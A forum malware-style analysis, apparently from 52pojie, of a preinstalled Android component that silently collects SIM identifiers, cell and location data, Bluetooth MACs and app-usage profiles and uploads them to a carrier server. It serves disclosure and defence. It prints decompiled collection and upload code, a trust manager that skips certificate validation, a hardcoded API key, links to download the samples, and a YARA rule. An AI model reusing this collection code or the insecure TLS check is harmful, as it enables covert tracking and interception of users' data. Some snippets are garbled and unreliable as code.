披着系统助手的外衣——SystemHelper服务分析

· 2026-11-13 12:22 · 1 阅读

原创 吾爱pojie 2026-11-13 12:22 北京

近日在各大论坛帖子看到大量用户讨论,称com.mobiletools.systemhelper的系统组件会秘密上报多种敏感信息。我从Redmi K60 Ultra提取出安装包,它在桌面上没有图标,唯一的界面 TestActivity 还挂着 signature 级权限,普通用户从安装到卸载都无法感知它的存在

作者论坛账号:windofsummer

一、概述

近日在各大论坛帖子看到大量用户讨论,称 com.mobiletools.systemhelper 的系统组件会秘密上报多种敏感信息。我从Redmi K60 Ultra 提取出安装包,它在桌面上没有图标,唯一的界面 TestActivity 还挂着 signature 级权限,普通用户从安装到卸载都无法感知它的存在。

经分析,该组件随 ROM 预装且持平台签名,通过 sharedUserId="com.mobiletools.systemhelper.uid" 与同签名的配套工具共享数据目录,开机后常驻运行,按多个周期采集设备身份、双卡信息、基站参数、精确位置、应用使用画像等数据,加密后回传至联通设备管理平台 dm.wo.com.cn

该组件申请了 READ_PRIVILEGED_PHONE_STATE、READ_PRECISE_PHONE_STATE、PACKAGE_USAGE_STATS、QUERY_ALL_PACKAGES、SCHEDULE_EXACT_ALARM 等普通应用无法获得的权限,并内嵌百度定位 SDK,且在 Manifest 中硬编码 API_KEY)。用户许可判断依赖系统设置 device_provisioned,也就是开机向导是否完成,相当于用户完成新机设置即默认授权,没有征求同意或关闭的界面。

二、执行链条(AI 总结)

 复制代码 隐藏代码BOOT_COMPLETED (priority=2147483647)
 ├─ 排 4 分钟后无 action 自发广播
 └─ 排 4 条精确闹钟: 定位采集(1h) / 信号上报(12h) / 周期注册(24h) / 应用画像(24h)
        │ 首次延迟各叠一层 0~24h 随机错峰
4 分钟后
 ├─ 动态注册 SIM / 网络变化监听
 └─ 首次开机上报 RegType=F(之后每次开机为 B)
        │
所有上报汇聚 e1.b.a(ctx, RegType) → f1.p.d()
 ├─ 厂商 Reader 采集: 双卡 IMEI/ICCID/IMSI/MNC、基站 CID/TAC/PCI、
 │   eSIM、WiFi BSSID、蓝牙配对 MAC、内存、IPv6
 ├─ RegType=A 时追加: 应用使用时长/启动次数/每应用流量明细
 ├─ 排序: IMEI1>IMEI2 时双卡字段整体对调
 ├─ 脱敏: 非联通号段(46001/06/09/10)才打码 ICCID/IMSI、CID/TAC 做 SHA-256
 ├─ RegType=R 时从 signalhelper.db 取出 SigInfo[] 并清表
 ├─ 判定: 用户许可 && 中国网络 && 已联网 && (WiFi+中国网 || 非漫游+联通网)
 │    ├─ 通过 → SHA-256(json) 派生密钥 → RSA 信封 → AES-GCM 密文
 │    │         POST https://dm.wo.com.cn:18081/register
 │    │         成功后补发历史缓存
 │    └─ 不通过 → 明文 JSON 存 systemhelper.db(≤10 条)等待补发
 │
HTTPS 证书校验失败(SSLException) → 回退明文 http://dm.wo.com.cn:18080/register
独立链: GetSignalInfoReceiver(1h)
 └─ 百度定位(bd09ll, 高精度, 60s 超时) → 逐卡采信号
     → 仅 MNC 以 460 开头才写入 signalhelper.db(≤100 条)

三、样本哈希和下载地址

该样本已经上传至云盘,其哈希如下

 复制代码 隐藏代码Name:SystemHelper_4.0.0-20260910.apk
Type:.apk
Size:3.7MB
Bytes:3884625
Modified:2026-11-07 09:27:58
Attributes:A
Copies:1
CRC32:f665678a
CRC64:749158cd5a42aa59
MD5:11ee024eb1a9fe68a9c403a23c882fd0
RIPEMD160:f3664271d452b58f9023ca389ad812ce0184c462
SHA1:633cb8e5723e2ec81970729a77c05df8a7e18a6d
BLAKE2S:c0d2359c2922a55a099a12a623186ccde6333cc4a630d6702a4d7dfb9fcfde97
SHA256:42fbfebedd8711b2ca22d3d969324f7ed7c757d838e143bf6cf4d2e8e1ed8556
SHA3_256:8eb67f24a4081790ba8be51218ba9ab4612cc83abce7e616295d4a2cd2cc5f74

蓝奏云盘(密码:1234):http://wwbtl.zizi2.com/ijzet4f34hdc

123云盘:https://1839112232.share.123pan.cn/123pan/sASPTd-VQpMh


此外,还提取了小米自带的系统安全组件,网传所说的录屏在此apk中,其哈希如下:

 复制代码 隐藏代码Name:系统安全组件_3.1.9-20261023.0.apk
Type:.apk
Size:13.8MB
Bytes:14519458
Modified:2026-11-07 09:27:16
Attributes:A
Copies:1
CRC32:5b994c8f
CRC64:aa81b824d6a517d2
MD5:fbb760a60b7ca8de490dfe7d60fbb0d2
RIPEMD160:10d1e6d7652f5364b616dc7cbb53f0840cd8aa0d
SHA1:54417be2d784e8289ef28f4bae0a3b93b2604d01
BLAKE2S:ae9a200b736b86ccc21d626abcf7c04a0d84fa7ede5c3b79c3ec93f5cc56fafa
SHA256:d82549f1580d591a6d07e46ace15e7c93f34a5000f7f528bd96d20374efa18f5
SHA3_256:b6ac76a61581ad9216edd998e4c49d191d1c95b78071bac1b4445577014113c1

蓝奏云盘(密码1234):http://wwbtl.zizi2.com/ioasV4f3548f

123云盘:https://1839112232.share.123pan.cn/123pan/sASPTd-jJQMh

四、样本分析

将 SystemHelper_4.0.0-20260910.apk 拖入JADX反编译,并导出反编译后的代码和资源文件。该程序没有加壳,所有的变量名和类名在编译时都被混淆,但好在代码完整可读。

首先读取AndroidManifest.xml查询其申请的所有权限,可以发现其申请了明显超出其服务范围内的敏感权限,包括但不限于:精确定位信息;Wifi连接信息;读取所有已安装应用;读取所有的应用使用时长统计;读取设备标识(IMEI)、通话状态、SIM信息等

继续分析AndroidManifest.xml,其在 Manifest 的 Application 中的 meta-data 字段直接硬编码了百度地图的API Key,为IGY6EFGRsixbYqk7GeZdAOD2Od3Rj7iF

组件解包后源码共 550 个 Java 文件,自有业务代码集中在 com/mobiletools/systemhelper(13 个文件)、f1(设备读取)、e1(采集上报线程)、g1(工具与存储)四个包,业务类名全部混淆为单字母。

1. 开机调度

OnBootReceiver 在清单里的 intent-filter priority 是 2147483647,意味着它抢在几乎所有组件之前收到开机广播。

它收到开机广播时为了避开开机时的资源竞争,防止被用户发现。它延迟4分钟后再开始动手,具体行为是先不开始采集,只排闹钟,真正干活的是 4 分钟后那条没有设置 action 的自发广播。其中定位采集默认1h一次,为了防止固定时间上报被用户发现,它采用随机时间+固定时间机制。信号上报、周期注册、应用画像为随机时间+12或24小时

五条闹钟全部是 setExactAndAllowWhileIdle,配合 SCHEDULE_EXACT_ALARM 权限,Doze 模式下照样精确唤醒。三类周期任务的首次延迟来自类加载时就生成好的三个随机值,随机量只在第一次排程时叠加,之后固定按 12/24 小时循环。设备量上来之后,这个设计能让上报请求摊开在全天,不出现整点流量尖峰。

代码里还留着一句直白的日志"测试助手修改后的rand : ",直接印证了周期的用途。

2. 自续期循环

三个周期 Receiver 的 onReceive 是同一个模子,以 AppInfoRegisterReceiver 为例,每触发一次就自己续一次,无限循环。全程没有前台 Service、没有通知,用户找不到任何停止入口。

3. 采集总控

所有上报汇入 e1.b.a(),它只做两件事:把 Context 存进全局 g1.d.f2648d(后面反射全靠它),然后交给 f1.p.d()。总控骨架:

 复制代码 隐藏代码// f1.p.d(Context, RegType)
e1.b bVar = new e1.b();
bVar.W = str;                       // 记录 RegType: F/B/S/A/R/T
k(context, bVar);                   // ① 采集(选厂商 Reader 并填充)
if (!str.trim().equals("T")) {
    i(context, bVar);               // ② 比对 ICCID1 是否变化
    j(context, bVar);               //    比对 ICCID2
} elseif (!i(context, bVar) && !j(context, bVar)) {
return bVar;                    // SIM 没变,不上报
}
l(bVar);                            // ③ 排序 + 脱敏
// ④ 按 RegType 分流

4. 厂商适配

组件针对 15 个厂商做了适配,p.f() 读 ro.product.manufacturer 建立映射,p.e() 按厂商 new 出 14 个 f1.a 子类之一。各子类的差异化集中在版本号读取和许可判断上(AI总结):

子类

厂商

差异点

f1.n

小米

IMEI 走 miui.telephony.TelephonyManager.getImeiForSlot 反射;SWVersion 拼 ro.mi.os.version.incremental + persist.sys.xms.version;HWVersion 按型号取 ro.miui.cust_hardware 或 ro.build.hardware.version

f1.l

vivo

唯一读 operator_service_improve_plan 的子类;HWVersion 取 ro.vivo.hardware_version;SWVersion 按 ro.vivo.op.entry 是否含 UNICOM 选不同产品版本属性

f1.i

三星

版本号取 ril.sw_ver / ril.hw_ver

f1.e

 / f1.f

OPPO / OnePlus

HWVersion 取 ro.build.hardware.version,重写许可判断

f1.m

WIKO

读 Settings.System.switch_dual_card_slots 决定 IMEI 归属哪个卡槽

f1.g

 / f1.k

PTAC / 天翼

SWVersion 剥离 ro.config.product_version_pre 前缀,拼 ro.huawei.build.display.id

f1.c

摩托罗拉

硬编码 HWVersion="H-2-01",SWVersion 取 ro.product.carrier_revision

f1.b

/d/h/j/o

联通品牌/nubia/realme/TDTECH/ZTE

仅替换版本号来源(ro.build.display.id、ro.product.hardware 等)

子类主干流程不变,只重写 b() 填充入口和 v() 许可判断。

5. 许可开关

基类 f1.a.b() 填充数据前先算该全局开关,device_provisioned就是“开机向导是否完成”。也就是说对绝大多数机型,用户把新手机设置走完,采集就算获得授权了,没有任何征求同意的环节。

vivo 分支的operator_service_improve_plan`即运营商服务改进计划是全部 14 个厂商里唯一接近显式同意的判断。它检测vivo是否许可通过,不通过时只填 Model、OS 版本、内存画像就返回;通过时才继续 WiFi、蓝牙、双卡。

 复制代码 隐藏代码// f1.a.b() 开头
if (bVar.f2443a.equals("vivo")) {
    g1.d.f2649e = g1.l.a(context);      // vivo: device_provisioned==1
//   && operator_service_improve_plan==1
    ...
return;                             // vivo 许可不过,后面全部不采
}
g1.d.f2649e = c(context);               // 其他厂商:
 复制代码 隐藏代码// f1.a.c()
boolValueOf = Boolean.valueOf(Settings.Global.getInt(
        context.getContentResolver(), "device_provisioned", 0) == 1);

6.  设备信息填充

WiFi 部分取 BSSID、链路速率、RSSI、频率,未连接统一填 "NWC"。蓝牙部分先查 BLUETOOTH_CONNECT,然后遍历配对设备。

配对设备名和 MAC 各拼一个逗号分隔串,分别进上报字段 PairedDevice 和 PairedMacAddress。内存画像由 g1.g.c() 生成 {RAM, ROM, FREE},RAM 优先从 ro.boot.dram_info 解析,读不到就按 ActivityManager 的 totalMem 向上归一化到 2/3/4…32G 标称值。

 复制代码 隐藏代码// f1.a.h()
Set<BluetoothDevice> bondedDevices = defaultAdapter.getBondedDevices();
for (BluetoothDevice bluetoothDevice : bondedDevices) {
String name = bluetoothDevice.getName();
String address = bluetoothDevice.getAddress();      // 配对设备 MAC
    ...
}

7. 双卡读取

q() 先取双卡 IMEI——小米走反射,其他厂商直接 getImei(0/1),取不到填 "ex00"。eSIM 用 EuiccManager.isEnabled() 判断,支持的话 d() 算两位存在状态、f() 遍历订阅列表收集未激活 eSIM 的 MCC+MNC。然后对每个有效卡槽调 g(context, slot, bVar) 单卡读取

当前驻留的具体小区、4G 还是 5G NSA/SA,全部落进上报字段。这套隐藏 API 读取能成立,靠的是 g1.k 反射工具类(Class.forName + setAccessible(true))和对 SystemProperties 的反射封装。普通应用过不了这些限制,能过是因为平台签名。

 复制代码 隐藏代码// f1.a.g() 单卡
TelephonyManagertm= ((TelephonyManager) context.getSystemService("phone"))
        .createForSubscriptionId(j(i2));
Stringiccid= tm.getSimSerialNumber();          // ICCID,空填 "ex01"
Stringimsi= tm.getSubscriberId();             // IMSI,空填 "ex01"
Stringmncch= tm.getNetworkOperator();          // 注册网络
Stringmnc= tm.getSimOperator();              // SIM 网络
ServiceStatess= tm.getServiceState();
for (NetworkRegistrationInfo nri : ss.getNetworkRegistrationInfoList()) {
if (nri.getDomain() == 2 && nri.getTransportType() == 1) {
CellIdentityci= nri.getCellIdentity();
// GSM/WCDMA/TD-SCDMA: getCid()+getLac()
// CDMA: getBasestationId(),连基站经纬度都有
// LTE: getCi()/getTac()/getPci(),注册信息含 "isEnDcAvailable = true" 则 NSA
// NR:  getNci()/getTac()/getPci() → SA
    }
}

8. 排序和脱敏

数据出门前,f1.p.l() 做两件事。先排序:若 IMEI1.compareTo(IMEI2) > 0,两卡全部字段整体对调,DataSlot 翻转,eSIM 两位状态互换,保证同一设备上报顺序恒定。然后样本中最值得注意的策略,即按号段区别对待。

g1.l.v() 检查 IMSI 是否以 46001、46006、46009、46010 开头(联通号段)。命中则 ICCID、IMSI、CID、TAC 原样保留;不命中(移动、电信用户)才打码、哈希。同一个组件对自家用户和异网用户执行两套数据精度,说明它明确区分并利用了用户的运营商归属。

 复制代码 隐藏代码// f1.p.l() 脱敏段(槽1,槽2 同样处理一遍)
if (... && !g1.l.v(bVar.f2454i).booleanValue()) {    // IMSI 不以 46001/06/09/10 开头
    bVar.f2453h = bVar.f2453h.substring(0, 10) + "**********";    // ICCID 打码
    str2 = bVar.f2454i.substring(0, 10) + "*****";                // IMSI 打码
    bVar.f2460o = g1.i.a(bVar.f2460o);               // CID1 → SHA-256
    bVar.f2459n = g1.i.a(bVar.f2459n);               // TAC1 → SHA-256
    bVar.f2454i = str2;
}

9. 上报判定

分流后进 e1.g(上报线程),c() 方法把守最后一道门:

 复制代码 隐藏代码// e1.g.c()
if (!g1.d.f2649e) returnfalse;                  // 许可
if (bVar == null) returnfalse;
if (!l.s(bVar).booleanValue()) returnfalse;     // 中国网络(MNC 460*)
if (l.t(this.f2487b).booleanValue()) {           // 已联网
if ((l.w(this.f2487b).booleanValue() && l.s(bVar).booleanValue())
            || (!p.h(this.f2487b).booleanValue() && l.u(bVar).booleanValue())) {
// WiFi已连+中国网,或 非漫游+联通网
if (a(bVar)) {
            new e(this.f2487b).start();           // 成功 → 补发历史
returntrue;
        }
    }
}
g1.e eVarA = g1.e.a(this.f2487b, "systemhelper", 1);
eVarA.b(bVar.b());                               // 不过 → 明文 JSON 存库(≤10 条)

l.s() 的判定逻辑是逐项检查 MNC1、MNC2 和数据卡注册网络,任何一项非空、非 ex00/ex01 占位且不以 460 开头就返回 FALSE,异常时兜底返回 TRUE。l.u() 检查数据卡 MNC 是否为四个联通号段之一。境外漫游、非联通蜂窝网络下都不走蜂窝上报,但 WiFi 加中国网的组合仍然上报。

判定不通过的数据不丢弃,以明文 JSON 存入 dmregister 表,等某次上报成功后由 e1.e 线程取出补发。这意味着即使判定一直不通过,本地库里始终压着最多 10 条完整的设备画像明文。

 复制代码 隐藏代码// g1.e.b() 存缓存
Cursor cursorQuery = writableDatabase.query("dmregister", newString[]{"COUNT(*)"}, ...);
int i2 = cursorQuery.getInt(0);
int iMax = Math.max(0, i2 - 10);                 // 超过 10 条
if (iMax > 0) {
// 按 ID ASC 删掉最旧的 iMax 条
}
contentValues.put("jsonString", str);            // 明文 JSON 入库
writableDatabase.insert("dmregister", null, contentValues);

10. 应用画像

应用画像(RegType=A)。

e1.f 线程按 24 小时窗口采集

单条记录三段来源:getTotalTimeInForeground()/60000 算前台分钟数,queryEvents 数 eventType 1(ACTIVE)和 7(NOTIFICATION?实为 SLICE_PINNED_SHORTCUT,代码按启动事件计数)得启动次数,NetworkStatsManager.querySummary 按 UID 聚合流量——蜂窝用两卡 IMSI 分别查询(querySummary(0, imsi1, ...)、querySummary(0, imsi2, ...)),WiFi 用 querySummary(1, null, ...)。回调里过滤掉 com.android.* 系统包后装进 AppInfo[]。

也就是说每个第三方应用的使用时长、启动次数、双卡流量、WiFi 流量全部上报。

 复制代码 隐藏代码// e1.f.e()
List<ApplicationInfo> installedApplications = packageManager.getInstalledApplications(0);
List<UsageStats> listD = d();                     // queryAndAggregateUsageStats(24h)
Collections.sort(listD, new b());                 // 按前台时长降序
for (UsageStats u : listD) {
    arrayList.add(a(installedApplications, u, usageStatsManager));
}

11. 定位和信号链

GetSignalInfoReceiver 独立于注册流程,每小时触发,职责只有一个:生产带位置的信号记录入本地库,等 12 小时周期上报时取走。入口先重排下一次闹钟,再算许可(不过就直接停止),然后配置百度定位——bd09ll 坐标系、高精度模式、需要地址信息——主线程挂一个 60 秒 Handler 超时,到点强制停止定位并注销监听。定位成功回调里先填经纬度、海拔、半径和省市区街道拼出的 District,再对两个卡槽各采一次信号,过两道门槛才入库:

 复制代码 隐藏代码JSONObjectjson= n.a();     // 8 个必需字段全非空才生成:
// IMEI/MNC/IMSI/TAC/CID/PCI/NetworkType/mncCH
if (json != null) {
if (nVar.f2692f != null && GetSignalInfoReceiver.f(nVar).booleanValue()) {
// f(nVar): MNC 必须以 "460" 开头
mmVarB= m.b(this.f2193a, "signalhelper", 1);
        mVarB.c(json.toString());            // 明文 JSON 写 SQLite,≤100 条
        mVarB.close();
    }
}

信号采集在 e1.d.d() 里,同样逐卡进行:ICCId/IMSI/MNC 照常读取(这里也会对非联通号段的 IMSI/ICCID 打码),基站部分与 f1.a.g() 同源——LTE/NR 的 CID/TAC/PCI/Bands/Bandwidth/ARFCN;信号强度部分按制式分支取值:

 复制代码 隐藏代码// e1.d.d() 信号强度
for (CellSignalStrength css : signalStrength.getCellSignalStrengths()) {
if (css instanceof CellSignalStrengthNr) {
        nVar.f2704r = String.valueOf(((CellSignalStrengthNr) css).getSsRsrp());
        nVar.f2706t = String.valueOf(css.getSsRsrq());
        nVar.f2705s = String.valueOf(css.getSsSinr());
        nVar.f2702p = String.valueOf(css.getCsiCqiTableIndex());
        strValueOf = String.valueOf(css.getCsiCqiReport());
    } elseif (css instanceof CellSignalStrengthLte) {
        ...getRsrp() / getRsrq() / getRssnr() / getCqiTableIndex() / getCqi()...
    }
}

vivo 设备另走一条专用路径:反射调 getITelephony() 拿内部接口,构造 com.android.internal.telephony.VivoTelephonyApiParams 传参,调 vivoTelephonyApi 取厂商私有数据(API_TAG_getCellLocation、getCellInfoList),并以 android.telephony.VivoTelephonyManager 反射兜底。g1.n.a() 序列化出的单条记录共 34 个字段,除身份和小区参数外还包括 RSRP、RSRQ、SINR、CSI 三件套、上下行速率、掉话原因、数据失败原因、EPS Fallback,以及经纬度、速度、方向和所连 WiFi 的 BSSID/SSID。掉话和数据失败原因不是每次现采的,来自进程启动时注册的 TelephonyCallback 常驻监听——onCallDisconnectCauseChanged 把挂断原因码经一张数百条目的映射表翻译成字符串(NORMAL_CLEARING、CDMA_DROP、EMERGENCY_ONLY 等),onPreciseDataConnectionStateChanged 把数据失败原因同样翻译,两者写入静态变量等采集线程取用。

加密与发送。e1.g.a() 构造请求:

 复制代码 隐藏代码StringstrB= bVar.b();                          // 完整明文 JSON(约 48 字段 + 数组)
byte[] bArrC = g1.c.c(strB);                     // key = SHA-256(json)
bArrB = g1.c.b(this.f2487b, bArrC);              // RSA 公钥加密 key(信封)
Stringstr= l.k(this.f2487b) + "?ver=6.0&model=" + strEncode
           + "&manuf=" + strEncode2 + "&sign=" + h1.a.e(bArrB);
bArrA = g1.c.a(strB, bArrC);                     // AES-GCM 加密 json
zF = fVar.g(str, bArrA, bArrC);                  // POST
if (zF || fVar.c() != 416) { ... } else { z2 = true; }   // 416 也算成功

两个加密细节值得记录。其一,AES 密钥不是随机生成的,就是 JSON 的 SHA-256 摘要本身,IV 也不是随机的——取摘要前 8 字节拼后 8 字节凑成 16 字节:

 复制代码 隐藏代码// g1.c.a()
byte[] bArr2 = newbyte[16];
System.arraycopy(bArr, 0, bArr2, 0, 8);          // key[0..8]
System.arraycopy(bArr, 24, bArr2, 8, 8);         // key[24..32]
GCMParameterSpecspec=newGCMParameterSpec(128, bArr2);
SecretKeySpeckey=newSecretKeySpec(bArr, "AES");
Ciphercipher= Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(1, key, spec);
return cipher.doFinal(str.getBytes("utf-8"));

密文随 body 发送,RSA 加密后的密钥经 hex 编码放在 URL 的 sign 参数里,公钥来自 APK 内置的 assets/cudms_main_pub.cer(CertificateFactory 解析 X509 取 getPublicKey(),RSA/ECB/PKCS1Padding 按 245 字节分段加密)。这构成一个数字信封,正文完整性由 sign 隐含保障。其二,TLS 层的服务端身份校验实质失效:

 复制代码 隐藏代码// g1.f 自定义 X509TrustManager
publicvoidcheckServerTrusted(X509Certificate[] chain, String str) {
if (chain == null || chain.length == 0)
thrownewCertificateException("服务端证书链为空");
for (X509Certificate x509Certificate : chain) {
        x509Certificate.checkValidity();             // 只查有效期
    }
}
public X509Certificate[] getAcceptedIssuers() { returnnew X509Certificate[0]; }

不校验证书链、不校验签发者,任何在有效期内(包括自签名)的证书都能通过握手;HostnameVerifier 用的还是系统默认,域名校验是仅存的约束。HTTPS 抛出 SSLException 时置位 f2678d,上层捕获后用同一份密文和 sign 回退到明文通道 http://dm.wo.com.cn:18080/register(Manifest 同时声明了 usesCleartextTraffic="true")。普通网络异常不触发回退。好在正文自带信封加密,明文通道上泄露的是 URL 参数和流量特征,不是数据本身。

上报成功后 e1.e 补发历史缓存——从 dmregister 取一条(moveToLast() 取完即删,日志却写 queryOldestRecord,命名与行为不符),走完全相同的加密流程再发一次。补发路径没有 HTTP 明文回退。

外部调参接口。RegisterHelperService 是 exported 服务,受自定义 signature 权限保护,只有同平台签名的配套工具(代码日志里称“测试助手”)能绑定。手写的 AIDL Stub(接口令牌 com.mobiletools.systemhelper.service.IRegisterHelperService)提供五个事务:

 复制代码 隐藏代码// RegisterHelperService$a
publicvoida(int i2) {                        // 批量改写全部周期
    l.D(ctx, i2);                              // scheduleInterval = i2
    l.x(ctx, (i2 * 8) / 5);                    // appInfoInterval  = i2*1.6
    long j2 = (i2 * 4) / 5;
    l.A(ctx, j2); l.z(ctx, j2); l.B(ctx, j2);  // 三个首次延迟 = i2*0.8
    l.F(ctx, (i2 * 6) / 5);                    // signalInfoInterval = i2*1.2
    l.G(ctx, (i2 * 3) / 5);                    // GetsignalInfoInterval = i2*0.6
}
publicvoidc(String str) { l.E(ctx, str); }   // 改写 serverAddress
publicvoide() { l.b(ctx); }                  // 删除整个 SharedPreferences 文件
publicvoidd(boolean z2) { ... }              // 开关日志(默认关闭)
publicbooleanb() { ... }                     // 读回日志开关

服务端层面还有一个开关:响应码 416 被客户端视为成功,语义上接近“已注册/去重”。

存疑点。 按反编译代码逐行看,f1.p.d() 的 B/F/S/T/R 分支构造了上报线程却没有调用 start() 就 return 了,全文件真正无条件的 .start() 只有 A 分支和两个采集回调末尾三处。结合回调链路的完整性判断,这是 JADX 对控制流的还原错位,设计意图应为各类型都经回调启动上报

五、IOC清单

A-1 文件指纹

文件名

SHA256

SystemHelper_4.0.0-20260910.apk

42fbfebedd8711b2ca22d3d969324f7ed7c757d838e143bf6cf4d2e8e1ed8556

A-2 网络IOC

C2

https://dm[.]wo[.]com[.]cn:18081/register

http://dm[.]wo[.]com[.]cn:18080/register

*[.]map[.]baidu[.]com

A-3 YARA匹配规则

 复制代码 隐藏代码rule CN_DM_Register_SystemHelper {
    meta:
        description ="com.mobiletools.systemhelper DM registration component"
    strings:
$pkg="com.mobiletools.systemhelper"
$aidl="com.mobiletools.systemhelper.service.IRegisterHelperService"
$host="dm.wo.com.cn"
$ct="application/encrypted-json"
$cert="cudms_main_pub.cer"
    condition:
        uint32(0) ==0x04034b50 and 3 of them
}

碎碎念

由于比较累,后面的段落大部分由AI编写,但最终由我审核和修改,在我有空的时候将重新编辑。
图片下方的alt是Markdown原生图片注释功能留下,后续修改时将一并优化
即使是在AI的辅助之下撰写这篇文章也用了4个小时以上。有部分代码片段暂未贴出,排版不工整,后续将一并优化
以上就是文章的全部,本文首发于52pojie论坛

-官方论坛

www.52pojie.cn

👆👆👆

公众号设置“星标”,您不会错过新的消息通知

如开放注册、精华文章和周边活动等公告

图片

阅读原文

跳转微信打开

本文转载自微信公众号「吾爱破解论坛」,查看原文。版权归原作者所有,如有侵权请联系删除。